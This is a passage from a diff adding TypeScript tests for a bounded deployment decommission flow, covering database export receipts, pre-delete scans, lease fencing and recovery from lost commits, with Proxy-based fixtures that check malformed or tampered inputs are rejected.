+          if (property === 'databaseExportReceiptAuthority') {
+            return row.authority;
+          }
+          if (property === 'exportDatabaseReceipt') return row.method;
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(harness, { kind: 'start' }, { backend }),
+        ),
+        row.label,
+      ).rejects.toThrow(row.message);
+      expect(
+        harness.store.record?.decommissionIntent,
+        row.label,
+      ).toBeUndefined();
+    }
+
+    const throwing = await boundedDecommissionHarness();
+    const backend = new Proxy(throwing.backend, {
+      get(target, property) {
+        if (property === 'databaseExportReceiptAuthority') {
+          throw new Error('receipt getter trap');
+        }
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(throwing, { kind: 'start' }, { backend }),
+      ),
+    ).rejects.toThrow('database export receipt capability is malformed');
+
+    const invalidIdentity = await boundedDecommissionHarness();
+    invalidIdentity.backend.databaseId = 'not-a-uuid';
+    invalidIdentity.store.record = {
+      ...(invalidIdentity.store.record as FleetRecord),
+      databaseId: 'not-a-uuid',
+    };
+    await expect(startBoundedDecommission(invalidIdentity)).rejects.toThrow(
+      'database export receipt identity is malformed',
+    );
+    expect(invalidIdentity.store.record?.decommissionIntent).toBeUndefined();
+
+    for (const state of [
+      'reserved',
+      'create-authorized',
+      'created',
+      'detach-authorized',
+      'detached',
+      'empty-authorized',
+      'empty',
+      'delete-authorized',
+    ] as const) {
+      const fenced = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+      const record = fenced.store.record as FleetRecord;
+      fenced.store.record = {
+        ...record,
+        phase: 'application-resources-deleted',
+        applicationResources: record.applicationResources?.map((resource) => ({
+          ...resource,
+          state,
+        })) as FleetRecord['applicationResources'],
+      };
+      let receiptGetterReads = 0;
+      const fencedBackend = new Proxy(fenced.backend, {
+        get(target, property) {
+          if (
+            property === 'databaseExportReceiptAuthority' ||
+            property === 'exportDatabaseReceipt'
+          ) {
+            receiptGetterReads += 1;
+          }
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(
+            fenced,
+            { kind: 'start' },
+            { backend: fencedBackend },
+          ),
+        ),
+        state,
+      ).rejects.toThrow(
+        'normal decommission D1 work requires every application R2 resource to be deleted',
+      );
+      expect(receiptGetterReads, state).toBe(0);
+      expect(fenced.backend.databaseIdsRead, state).toEqual([]);
+      expect(fenced.store.record?.decommissionIntent, state).toBeUndefined();
+    }
+
+    const changed = new Proxy(startedHarness.backend, {
+      get(target, property) {
+        if (property === 'databaseExportReceiptAuthority') {
+          return 'memory://different-authority/receipts/v1';
+        }
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    const readsBeforeChangedAuthority =
+      startedHarness.backend.databaseIdsRead.length;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          startedHarness,
+          { kind: 'continue', token: selected.token },
+          { backend: changed },
+        ),
+      ),
+    ).rejects.toThrow(
+      'database export receipt authority differs from configured authority',
+    );
+    expect(startedHarness.backend.databaseIdsRead).toHaveLength(
+      readsBeforeChangedAuthority,
+    );
+
+    for (const mutation of ['backend', 'mapping', 'digest'] as const) {
+      const authority = await boundedDecommissionHarness();
+      let current = await driveBoundedUntil(
+        authority,
+        (record) =>
+          record.decommissionIntent?.lifecyclePhase ===
+            'application-resources-deleted' &&
+          record.decommissionIntent.state === 'transitioning',
+      );
+      current = await continueBoundedDecommission(authority, current);
+      let receiptPropertyReads = 0;
+      const mutatedBackend = new Proxy(authority.backend, {
+        get(target, property) {
+          if (
+            property === 'databaseExportReceiptAuthority' ||
+            property === 'exportDatabaseReceipt'
+          ) {
+            receiptPropertyReads += 1;
+          }
+          if (mutation === 'backend' && property === 'kind') {
+            return 'workers-for-platforms';
+          }
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      const mutatedSpec =
+        mutation === 'mapping'
+          ? { ...authority.deployment, databaseName: 'different-database' }
+          : mutation === 'digest'
+            ? {
+                ...authority.deployment,
+                modules: [
+                  {
+                    name: 'worker.js',
+                    content: 'export default { changed: true }',
+                  },
+                ],
+              }
+            : authority.deployment;
+      const databaseReads = authority.backend.databaseIdsRead.length;
+      const scans = authority.backend.scanInputs.length;
+      const residuals = authority.backend.residualCalls;
+      const exports = authority.backend.receiptCalls.length;
+      const deletes = authority.backend.events.filter(
+        (event) => event === 'delete-database',
+      ).length;
+      const writes = authority.store.phases.length;
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(
+            authority,
+            { kind: 'continue', token: current.token },
+            { backend: mutatedBackend, spec: mutatedSpec },
+          ),
+        ),
+        mutation,
+      ).rejects.toThrow();
+      expect(receiptPropertyReads, mutation).toBe(0);
+      expect(authority.backend.databaseIdsRead, mutation).toHaveLength(
+        databaseReads,
+      );
+      expect(authority.backend.scanInputs, mutation).toHaveLength(scans);
+      expect(authority.backend.residualCalls, mutation).toBe(residuals);
+      expect(authority.backend.receiptCalls, mutation).toHaveLength(exports);
+      expect(
+        authority.backend.events.filter((event) => event === 'delete-database'),
+        mutation,
+      ).toHaveLength(deletes);
+      expect(authority.store.phases, mutation).toHaveLength(writes);
+    }
+  });
+
+  it('advances pre-export and pre-delete scans without persisting absence authority', async () => {
+    const harness = await boundedDecommissionHarness();
+    let result = await driveBoundedUntil(
+      harness,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase ===
+          'application-resources-deleted' &&
+        record.decommissionIntent.state === 'transitioning',
+    );
+    result = await continueBoundedDecommission(harness, result);
+    const preExportDiscover = harness.store.record?.decommissionIntent;
+    expect(preExportDiscover).toMatchObject({
+      state: 'discover',
+      purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID },
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+    });
+    expect(preExportDiscover).not.toHaveProperty('discoverEvidence');
+
+    const signal = AbortSignal.abort(new Error('scan cancelled'));
+    harness.backend.scanResults.push({
+      status: 'pending',
+      progress: (
+        preExportDiscover as Extract<
+          DecommissionAdvanceIntent,
+          { state: 'discover' }
+        >
+      ).progress,
+      providerFetchAttemptsReserved: 3,
+    });
+    result = await advanceDecommissionDeployment(
+      boundedAdvanceOptions(
+        harness,
+        { kind: 'continue', token: result.token },
+        { signal },
+      ),
+    );
+    expect(harness.backend.scanInputs.at(-1)?.signal).toBe(signal);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      purpose: { kind: 'database-pre-export' },
+    });
+    expect(harness.store.record?.decommissionIntent).not.toHaveProperty(
+      'discoverEvidence',
+    );
+
+    result = await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'verify',
+      purpose: { kind: 'database-pre-export' },
+      discoverEvidence: { evidenceSha256: 'a'.repeat(64), evidenceCount: 2 },
+    });
+    result = await continueBoundedDecommission(harness, result);
+    result = await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      purpose: {
+        kind: 'database-pre-delete',
+        databaseId: DATABASE_ID,
+        exportLocation: expect.any(String),
+        exportSha256: 'a'.repeat(64),
+        exportSize: 42,
+      },
+    });
+    expect(harness.store.record?.decommissionIntent).not.toHaveProperty(
+      'discoverEvidence',
+    );
+    result = await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'verify',
+      purpose: { kind: 'database-pre-delete' },
+    });
+    expect(result.status).toBe('pending');
+  });
+
+  it('blocks D1 teardown on attachments drift and independent evidence mismatch', async () => {
+    const drift = await boundedDecommissionHarness();
+    let driftResult = await driveBoundedUntil(
+      drift,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase ===
+          'application-resources-deleted' &&
+        record.decommissionIntent.state === 'transitioning',
+    );
+    driftResult = await continueBoundedDecommission(drift, driftResult);
+    const driftGeneration = drift.store.record?.decommissionIntent?.generation;
+    drift.backend.scanResults.push({ status: 'drift' });
+    driftResult = await continueBoundedDecommission(drift, driftResult);
+    expect(drift.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      generation: (driftGeneration as number) + 1,
+      purpose: { kind: 'database-pre-export' },
+    });
+    expect(driftResult.status).toBe('pending');
+
+    for (const mismatch of [
+      { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 },
+      { evidenceSha256: 'a'.repeat(64), evidenceCount: 3 },
+    ]) {
+      const harness = await boundedDecommissionHarness();
+      const verify = await driveToPreExportVerify(harness);
+      const generation = harness.store.record?.decommissionIntent?.generation;
+      harness.backend.scanResults.push({
+        status: 'complete',
+        ...mismatch,
+        providerFetchAttemptsReserved: 3,
+      });
+      await continueBoundedDecommission(harness, verify);
+      expect(harness.store.record?.decommissionIntent).toMatchObject({
+        state: 'discover',
+        generation: (generation as number) + 1,
+        purpose: { kind: 'database-pre-export' },
+      });
+      expect(harness.backend.receiptCalls).toEqual([]);
+    }
+
+    for (const attachment of [
+      { plane: 'ordinary' as const, scriptName: 'foreign-worker' },
+      {
+        plane: 'dispatch' as const,
+        scriptName: 'foreign-dispatch',
+        dispatchNamespace: 'fleet',
+      },
+    ]) {
+      const harness = await boundedDecommissionHarness();
+      let result = await driveBoundedUntil(
+        harness,
+        (record) =>
+          record.decommissionIntent?.lifecyclePhase ===
+            'application-resources-deleted' &&
+          record.decommissionIntent.state === 'transitioning',
+      );
+      result = await continueBoundedDecommission(harness, result);
+      harness.backend.scanResults.push({
+        status: 'attached',
+        attachment,
+        providerFetchAttemptsReserved: 3,
+      });
+      result = await continueBoundedDecommission(harness, result);
+      expect(result).toMatchObject({
+        status: 'blocked',
+        purpose: { kind: 'database-pre-export' },
+        attachment,
+      });
+      const scans = harness.backend.scanInputs.length;
+      const writes = harness.store.phases.length;
+      const inert = await continueBoundedDecommission(harness, result);
+      expect(inert).toEqual(result);
+      expect(harness.backend.scanInputs).toHaveLength(scans);
+      expect(harness.store.phases).toHaveLength(writes);
+      const restarted = await advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, {
+          kind: 'restart-blocked',
+          token: result.token,
+        }),
+      );
+      expect(restarted).toMatchObject({ status: 'pending' });
+      expect(harness.store.record?.decommissionIntent).toMatchObject({
+        state: 'discover',
+        purpose: { kind: 'database-pre-export' },
+      });
+    }
+  });
+
+  it('consumes matching pre-export verification through residuals and one stable receipt', async () => {
+    const harness = await boundedDecommissionHarness();
+    const verify = await driveToPreExportVerify(harness);
+    const residualsBeforeExport = harness.backend.residualCalls;
+    harness.backend.receiptOutcomes.push({
+      status: 'fulfilled',
+      value: {
+        databaseId: DATABASE_ID,
+        location: 'memory://receipt/export.sql',
+        sha256: 'a'.repeat(64),
+        size: 42,
+        secret: 'must-not-persist',
+      },
+    });
+    await continueBoundedDecommission(harness, verify);
+    expect(harness.backend.residualCalls).toBe(residualsBeforeExport + 1);
+    expect(harness.backend.receiptCalls).toEqual([
+      {
+        version: 1,
+        authority: RECEIPT_AUTHORITY,
+        databaseId: DATABASE_ID,
+        operationId: DECOMMISSION_OPERATION_ID,
+      },
+    ]);
+    expect(harness.store.record).toMatchObject({
+      databaseExportLocation: 'memory://receipt/export.sql',
+      databaseExportSha256: 'a'.repeat(64),
+      databaseExportSize: 42,
+      decommissionIntent: {
+        lifecyclePhase: 'database-exported',
+        state: 'transitioning',
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      },
+    });
+    expect(JSON.stringify(harness.store.record)).not.toContain(
+      'must-not-persist',
+    );
+
+    const residual = await boundedDecommissionHarness();
+    const residualVerify = await driveToPreExportVerify(residual);
+    const residualFailure = new Error('residual check failed');
+    residual.backend.assertDatabaseDeletionResidualsRemoved = async () => {
+      throw residualFailure;
+    };
+    await expect(
+      continueBoundedDecommission(residual, residualVerify),
+    ).rejects.toBe(residualFailure);
+    expect(residual.backend.receiptCalls).toEqual([]);
+    expect(residual.store.record?.decommissionIntent?.state).toBe('verify');
+
+    const lease = await boundedDecommissionHarness();
+    const leaseVerify = await driveToPreExportVerify(lease);
+    const exportOrder: string[] = [];
+    lease.backend.assertDatabaseDeletionResidualsRemoved = async () => {
+      lease.backend.residualCalls += 1;
+      exportOrder.push('residual');
+    };
+    lease.store.assertOwnedCalls = 0;
+    lease.store.assertOwnedFailureAt = 1;
+    lease.store.assertOwnedObserved = () => exportOrder.push('fence');
+    const leaseWrites = lease.store.phases.length;
+    await expect(
+      continueBoundedDecommission(lease, leaseVerify),
+    ).rejects.toThrow('lease assertion 1 failed');
+    expect(exportOrder).toEqual(['residual', 'fence']);
+    expect(lease.backend.receiptCalls).toEqual([]);
+    expect(lease.store.phases).toHaveLength(leaseWrites);
+    expect(lease.store.record?.decommissionIntent?.state).toBe('verify');
+
+    const preScanIdentity = await boundedDecommissionHarness();
+    const preScanVerify = await driveToPreExportVerify(preScanIdentity);
+    preScanIdentity.backend.databaseName = 'unexpected-name';
+    const preScanCount = preScanIdentity.backend.scanInputs.length;
+    await expect(
+      continueBoundedDecommission(preScanIdentity, preScanVerify),
+    ).rejects.toThrow('resolved with unexpected identity');
+    expect(preScanIdentity.backend.scanInputs).toHaveLength(preScanCount);
+    expect(preScanIdentity.backend.receiptCalls).toEqual([]);
+
+    const postScanIdentity = await boundedDecommissionHarness();
+    const postScanVerify = await driveToPreExportVerify(postScanIdentity);
+    postScanIdentity.backend.scanAfter = () => {
+      postScanIdentity.backend.databaseName = 'changed-after-scan';
+    };
+    await expect(
+      continueBoundedDecommission(postScanIdentity, postScanVerify),
+    ).rejects.toThrow('resolved with unexpected identity');
+    expect(postScanIdentity.backend.receiptCalls).toEqual([]);
+
+    const malformedReference = await boundedDecommissionHarness();
+    const malformedReferenceVerify =
+      await driveToPreExportVerify(malformedReference);
+    malformedReference.backend.databaseReadOutcomes.push({
+      status: 'fulfilled',
+      value: new Proxy(
+        { id: DATABASE_ID, name: 'acme-production', created: false },
+        {},
+      ),
+    });
+    await expect(
+      continueBoundedDecommission(malformedReference, malformedReferenceVerify),
+    ).rejects.toThrow('persisted database reference is malformed');
+
+    const malformedOwner = await boundedDecommissionHarness();
+    const malformedOwnerVerify = await driveToPreExportVerify(malformedOwner);
+    malformedOwner.backend.databaseOwner = false;
+    await expect(
+      continueBoundedDecommission(malformedOwner, malformedOwnerVerify),
+    ).rejects.toThrow('persisted database owner is malformed');
+    expect(malformedOwner.backend.receiptCalls).toEqual([]);
+
+    const exactReferenceText = 'é'.repeat(2_048);
+    const exactOwnerText = 'é'.repeat(2_048);
+    expect(exactReferenceText).toHaveLength(2_048);
+    expect(new TextEncoder().encode(exactReferenceText)).toHaveLength(4_096);
+    expect(exactOwnerText).toHaveLength(2_048);
+    expect(new TextEncoder().encode(exactOwnerText)).toHaveLength(4_096);
+    const exactReferenceBackend = new FakeBackend();
+    exactReferenceBackend.getDatabase = async () => ({
+      id: exactReferenceText,
+      name: exactReferenceText,
+      created: false,
+    });
+    exactReferenceBackend.databaseOwner = exactOwnerText;
+    await expect(
+      reconcilePersistedDatabase(
+        exactReferenceBackend,
+        {
+          databaseId: exactReferenceText,
+          databaseName: exactReferenceText,
+          tenantTag: exactOwnerText,
+        },
+        false,
+        {
+          mutationLeaseTtlMs: 1_000,
+          assertOwned: async () => {},
+        },
+        true,
+      ),
+    ).resolves.toEqual({
+      id: exactReferenceText,
+      name: exactReferenceText,
+      created: false,
+    });
+
+    const multibyteOverBound = `${'é'.repeat(2_048)}x`;
+    expect(multibyteOverBound).toHaveLength(2_049);
+    expect(new TextEncoder().encode(multibyteOverBound)).toHaveLength(4_097);
+    const overReferenceBackend = new FakeBackend();
+    overReferenceBackend.getDatabase = async () => ({
+      id: multibyteOverBound,
+      name: 'database',
+      created: false,
+    });
+    await expect(
+      reconcilePersistedDatabase(
+        overReferenceBackend,
+        {
+          databaseId: multibyteOverBound,
+          databaseName: 'database',
+          tenantTag: 'acme',
+        },
+        false,
+        {
+          mutationLeaseTtlMs: 1_000,
+          assertOwned: async () => {},
+        },
+        true,
+      ),
+    ).rejects.toThrow('persisted database reference is malformed');
+    expect(overReferenceBackend.receiptCalls).toEqual([]);
+
+    const overOwnerBackend = new FakeBackend();
+    overOwnerBackend.databaseExists = true;
+    overOwnerBackend.databaseOwner = multibyteOverBound;
+    await expect(
+      reconcilePersistedDatabase(
+        overOwnerBackend,
+        {
+          databaseId: DATABASE_ID,
+          databaseName: 'acme-production',
+          tenantTag: multibyteOverBound,
+        },
+        false,
+        {
+          mutationLeaseTtlMs: 1_000,
+          assertOwned: async () => {},
+        },
+        true,
+      ),
+    ).rejects.toThrow('persisted database owner is malformed');
+    expect(overOwnerBackend.receiptCalls).toEqual([]);
+
+    const dishonestResults: readonly unknown[] = [
+      {
+        databaseId: REPLACEMENT_DATABASE_ID,
+        location: 'memory://receipt/export.sql',
+        sha256: 'a'.repeat(64),
+        size: 42,
+      },
+      {
+        databaseId: DATABASE_ID,
+        location: '',
+        sha256: 'a'.repeat(64),
+        size: 42,
+      },
+      {
+        databaseId: DATABASE_ID,
+        location: 'memory://receipt/export.sql',
+        sha256: 'A'.repeat(64),
+        size: 42,
+      },
+      {
+        databaseId: DATABASE_ID,
+        location: 'memory://receipt/export.sql',
+        sha256: 'a'.repeat(64),
+        size: 0,
+      },
+      new Proxy(
+        {
+          databaseId: DATABASE_ID,
+          location: 'memory://receipt/export.sql',
+          sha256: 'a'.repeat(64),
+          size: 42,
+        },
+        {},
+      ),
+      Object.defineProperty(
+        {
+          databaseId: DATABASE_ID,
+          location: 'memory://receipt/export.sql',
+          sha256: 'a'.repeat(64),
+        },
+        'size',
+        { enumerable: true, get: () => 42 },
+      ),
+      new (class PrototypeDatabaseExport {
+        readonly databaseId = DATABASE_ID;
+        readonly location = 'memory://receipt/export.sql';
+        readonly sha256 = 'a'.repeat(64);
+        readonly size = 42;
+      })(),
+    ];
+    for (const dishonest of dishonestResults) {
+      const candidate = await boundedDecommissionHarness();
+      const candidateVerify = await driveToPreExportVerify(candidate);
+      candidate.backend.receiptOutcomes.push({
+        status: 'fulfilled',
+        value: dishonest,
+      });
+      await expect(
+        continueBoundedDecommission(candidate, candidateVerify),
+      ).rejects.toThrow(
+        'bounded decommission database export result is malformed',
+      );
+      expect(candidate.store.record?.decommissionIntent?.state).toBe('verify');
+    }
+  });
+
+  it('converges receipt commits and database-exported writes without a second artifact', async () => {
+    const receiptLoss = await boundedDecommissionHarness();
+    const verify = await driveToPreExportVerify(receiptLoss);
+    const receiptFailure = new Error('receipt response lost after commit');
+    receiptLoss.backend.receiptOutcomes.push({
+      status: 'rejected',
+      reason: receiptFailure,
+      commit: true,
+    });
+    await expect(continueBoundedDecommission(receiptLoss, verify)).rejects.toBe(
+      receiptFailure,
+    );
+    expect(receiptLoss.store.record?.decommissionIntent?.state).toBe('verify');
+    expect(receiptLoss.backend.receiptWinners.size).toBe(1);
+    await continueBoundedDecommission(receiptLoss, verify);
+    expect(receiptLoss.backend.receiptWinners.size).toBe(1);
+    expect(receiptLoss.backend.receiptCalls).toHaveLength(2);
+    expect(receiptLoss.backend.receiptCalls[1]).toEqual(
+      receiptLoss.backend.receiptCalls[0],
+    );
+
+    const precommit = await boundedDecommissionHarness();
+    const precommitVerify = await driveToPreExportVerify(precommit);
+    precommit.store.failPutPhase = 'database-exported';
+    await expect(
+      continueBoundedDecommission(precommit, precommitVerify),
+    ).rejects.toThrow('failed state write at database-exported');
+    expect(precommit.store.record?.decommissionIntent?.state).toBe('verify');
+    expect(precommit.backend.receiptWinners.size).toBe(1);
+    await continueBoundedDecommission(precommit, precommitVerify);
+    expect(precommit.backend.receiptWinners.size).toBe(1);
+    expect(precommit.backend.receiptCalls).toHaveLength(2);
+
+    const committedStore = new CommitThenThrowStore();
+    const committed = await boundedDecommissionHarness({
+      store: committedStore,
+    });
+    const committedVerify = await driveToPreExportVerify(committed);
+    committedStore.failAfterCommittedPhase = 'database-exported';
+    await expect(
+      continueBoundedDecommission(committed, committedVerify),
+    ).rejects.toThrow('committing database-exported');
+    expect(committed.store.record?.decommissionIntent).toMatchObject({
+      lifecyclePhase: 'database-exported',
+      state: 'transitioning',
+    });
+    const receiptCalls = committed.backend.receiptCalls.length;
+    const stale = await continueBoundedDecommission(committed, committedVerify);
+    expect(stale.token).toEqual(
+      expect.objectContaining({
+        revision: committed.store.record?.decommissionIntent?.revision,
+      }),
+    );
+    expect(committed.backend.receiptCalls).toHaveLength(receiptCalls);
+
+    for (const Store of [MemoryStore, CommitThenThrowStore] as const) {
+      const store = new Store();
+      const selection = await boundedDecommissionHarness({ store });
+      const atBoundary = await driveBoundedUntil(
+        selection,
+        (record) =>
+          record.decommissionIntent?.lifecyclePhase ===
+            'application-resources-deleted' &&
+          record.decommissionIntent.state === 'transitioning',
+      );
+      if (store instanceof CommitThenThrowStore) {
+        store.failAfterCommittedPhase = 'application-resources-deleted';
+      } else {
+        store.failPutPhase = 'application-resources-deleted';
+      }
+      await expect(
+        continueBoundedDecommission(selection, atBoundary),
+      ).rejects.toThrow(/application-resources-deleted/u);
+      if (store instanceof CommitThenThrowStore) {
+        expect(store.record?.decommissionIntent).toMatchObject({
+          state: 'discover',
+          databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        });
+      } else {
+        expect(store.record?.decommissionIntent).toMatchObject({
+          state: 'transitioning',
+        });
+        expect(store.record?.decommissionIntent).not.toHaveProperty(
+          'databaseExportReceiptAuthority',
+        );
+      }
+    }
+  });
+
+  it('consumes matching pre-delete verification and reconciles delete loss', async () => {
+    const liveReference = {
+      id: DATABASE_ID,
+      name: 'acme-production',
+      created: false as const,
+    };
+    const deletePresentFailure = new Error('delete failed before commit');
+    const readbackFailure = new Error('readback unavailable');
+    const losingDeleteFailure = new Error('delete rejection must lose');
+    const winningReadbackFailure = new Error('readback rejection wins');
+    const rows: readonly Readonly<{
+      label: string;
+      deletion: BoxedOutcome<void>;
+      readback: BoxedOutcome<unknown>;
+      expected?: unknown;
+    }>[] = [
+      {
+        label: 'fulfill absent',
+        deletion: { status: 'fulfilled', value: undefined, commit: true },
+        readback: { status: 'fulfilled', value: undefined },
+      },
+      {
+        label: 'reject absent',
+        deletion: {
+          status: 'rejected',
+          reason: new Error('delete response lost'),
+          commit: true,
+        },
+        readback: { status: 'fulfilled', value: undefined },
+      },
+      {
+        label: 'reject present',
+        deletion: {
+          status: 'rejected',
+          reason: deletePresentFailure,
+        },
+        readback: { status: 'fulfilled', value: liveReference },
+        expected: deletePresentFailure,
+      },
+      {
+        label: 'fulfill present',
+        deletion: { status: 'fulfilled', value: undefined },
+        readback: { status: 'fulfilled', value: liveReference },
+        expected: `database '${DATABASE_ID}' remains after deletion`,
+      },
+      {
+        label: 'readback rejects',
+        deletion: { status: 'fulfilled', value: undefined, commit: true },
+        readback: {
+          status: 'rejected',
+          reason: readbackFailure,
+        },
+        expected: readbackFailure,
+      },
+      {
+        label: 'delete and readback reject',
+        deletion: {
+          status: 'rejected',
+          reason: losingDeleteFailure,
+        },
+        readback: {
+          status: 'rejected',
+          reason: winningReadbackFailure,
+        },
+        expected: winningReadbackFailure,
+      },
+    ];
+    for (const row of rows) {
+      const harness = await boundedDecommissionHarness();
+      const verify = await driveToPreDeleteVerify(harness);
+      harness.backend.deleteOutcomes.push(row.deletion);
+      harness.backend.databaseReadOutcomes.push(
+        { status: 'fulfilled', value: liveReference },
+        { status: 'fulfilled', value: liveReference },
+        row.readback,
+      );
+      const operation = continueBoundedDecommission(harness, verify);
+      if (row.expected === undefined) {
+        await expect(operation, row.label).resolves.toMatchObject({
+          status: 'pending',
+        });
+      } else if (row.expected instanceof Error) {
+        const [settled] = await Promise.allSettled([operation]);
+        expect(settled.status, row.label).toBe('rejected');
+        if (settled.status === 'rejected') {
+          expect(settled.reason, row.label).toBe(row.expected);
+        }
+      } else {
+        await expect(operation, row.label).rejects.toThrow(
+          String(row.expected),
+        );
+      }
+      expect(harness.store.record?.decommissionIntent, row.label).toMatchObject(
+        {
+          lifecyclePhase: 'database-deleting',
+          state: 'transitioning',
+        },
+      );
+      expect(
+        harness.backend.events.filter((event) => event === 'delete-database'),
+        row.label,
+      ).toHaveLength(1);
+    }
+
+    for (const reason of [null, undefined]) {
+      const harness = await boundedDecommissionHarness();
+      const verify = await driveToPreDeleteVerify(harness);
+      harness.backend.deleteOutcomes.push({
+        status: 'rejected',
+        reason: new Error('delete rejection must lose'),
+      });
+      harness.backend.databaseReadOutcomes.push(
+        { status: 'fulfilled', value: liveReference },
+        { status: 'fulfilled', value: liveReference },
+        { status: 'rejected', reason },
+      );
+      const [settled] = await Promise.allSettled([
+        continueBoundedDecommission(harness, verify),
+      ]);
+      expect(settled).toEqual({ status: 'rejected', reason });
+    }
+
+    let hostileReadbackFields = 0;
+    const hostilePresent = new Proxy(
+      {},
+      {
+        get(_target, property) {
+          if (property === 'then') return undefined;
+          hostileReadbackFields += 1;
+          throw new Error('existence-only readback inspected a field');
+        },
+        getOwnPropertyDescriptor() {
+          hostileReadbackFields += 1;
+          throw new Error('existence-only readback inspected a descriptor');
+        },
+        ownKeys() {
+          hostileReadbackFields += 1;
+          throw new Error('existence-only readback enumerated fields');
+        },
+      },
+    );
+    const hostileReadback = await boundedDecommissionHarness();
+    const hostileVerify = await driveToPreDeleteVerify(hostileReadback);
+    hostileReadback.backend.deleteOutcomes.push({
+      status: 'fulfilled',
+      value: undefined,
+    });
+    hostileReadback.backend.databaseReadOutcomes.push(
+      { status: 'fulfilled', value: liveReference },
+      { status: 'fulfilled', value: liveReference },
+      { status: 'fulfilled', value: hostilePresent },
+    );
+    await expect(
+      continueBoundedDecommission(hostileReadback, hostileVerify),
+    ).rejects.toThrow(`database '${DATABASE_ID}' remains after deletion`);
+    expect(hostileReadbackFields).toBe(0);
+
+    const barrier = await boundedDecommissionHarness();
+    const barrierVerify = await driveToPreDeleteVerify(barrier);
+    barrier.store.failPutPhase = 'database-deleting';
+    await expect(
+      continueBoundedDecommission(barrier, barrierVerify),
+    ).rejects.toThrow('failed state write at database-deleting');
+    expect(barrier.backend.events).not.toContain('delete-database');
+
+    const committedBarrierStore = new CommitThenThrowStore();
+    const committedBarrier = await boundedDecommissionHarness({
+      store: committedBarrierStore,
+    });
+    const committedBarrierVerify =
+      await driveToPreDeleteVerify(committedBarrier);
+    const deletesBeforeBarrier = committedBarrier.backend.events.filter(
+      (event) => event === 'delete-database',
+    ).length;
+    committedBarrierStore.failAfterCommittedPhase = 'database-deleting';
+    await expect(
+      continueBoundedDecommission(committedBarrier, committedBarrierVerify),
+    ).rejects.toThrow('committing database-deleting');
+    expect(committedBarrier.store.record?.decommissionIntent).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      state: 'transitioning',
+    });
+    expect(
+      committedBarrier.backend.events.filter(
+        (event) => event === 'delete-database',
+      ),
+    ).toHaveLength(deletesBeforeBarrier);
+    let retry = await continueBoundedDecommission(
+      committedBarrier,
+      committedBarrierVerify,
+    );
+    for (let index = 0; index < 8 && retry.status !== 'complete'; index += 1) {
+      retry = await continueBoundedDecommission(committedBarrier, retry);
+    }
+    expect(retry.status).toBe('complete');
+    expect(
+      committedBarrier.backend.events.filter(
+        (event) => event === 'delete-database',
+      ),
+    ).toHaveLength(deletesBeforeBarrier + 1);
+
+    for (const ordinal of [1, 2, 3]) {
+      const harness = await boundedDecommissionHarness();
+      const verify = await driveToPreDeleteVerify(harness);
+      harness.store.assertOwnedCalls = 0;
+      harness.store.assertOwnedFailureAt = ordinal;
+      const databaseReads = harness.backend.databaseIdsRead.length;
+      await expect(
+        continueBoundedDecommission(harness, verify),
+      ).rejects.toThrow(`lease assertion ${ordinal} failed`);
+      expect(harness.store.record?.decommissionIntent).toMatchObject({
+        lifecyclePhase: 'database-deleting',
+        state: 'transitioning',
+      });
+      expect(
+        harness.backend.events.filter((event) => event === 'delete-database'),
+      ).toHaveLength(ordinal === 1 ? 0 : 1);
+      expect(harness.backend.databaseIdsRead.length - databaseReads).toBe(
+        ordinal === 3 ? 3 : 2,
+      );
+    }
+  });
+
+  it('recovers terminal writes and keeps token classifications authoritative', async () => {
+    const terminal = await boundedDecommissionHarness();
+    let result = await driveToPreDeleteVerify(terminal);
+    result = await continueBoundedDecommission(terminal, result);
+    expect(terminal.store.record?.decommissionIntent).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      state: 'transitioning',
+    });
+    expect(terminal.backend.databaseExists).toBe(false);
+    const barrierToken = result.token;
+    result = await continueBoundedDecommission(terminal, result);
+    expect(result).toMatchObject({
+      status: 'complete',
+      result: {
+        record: {
+          phase: 'decommissioned',
+          decommissionIntent: {
+            lifecyclePhase: 'decommissioned',
+            state: 'complete',
+            databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+          },
+        },
+      },
+    });
+    const completeToken = result.token;
+
+    let terminalReceiptGetterReads = 0;
+    const capabilityTrap = new Proxy(terminal.backend, {
+      get(target, property) {
+        if (
+          property === 'databaseExportReceiptAuthority' ||
+          property === 'exportDatabaseReceipt'
+        ) {
+          terminalReceiptGetterReads += 1;
+          throw new Error('complete read touched receipt capability');
+        }
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          terminal,
+          { kind: 'start' },
+          {
+            backend: capabilityTrap,
+          },
+        ),
+      ),
+    ).resolves.toMatchObject({ status: 'complete', token: completeToken });
+    await expect(
+      advanceDecommissionDeployment(
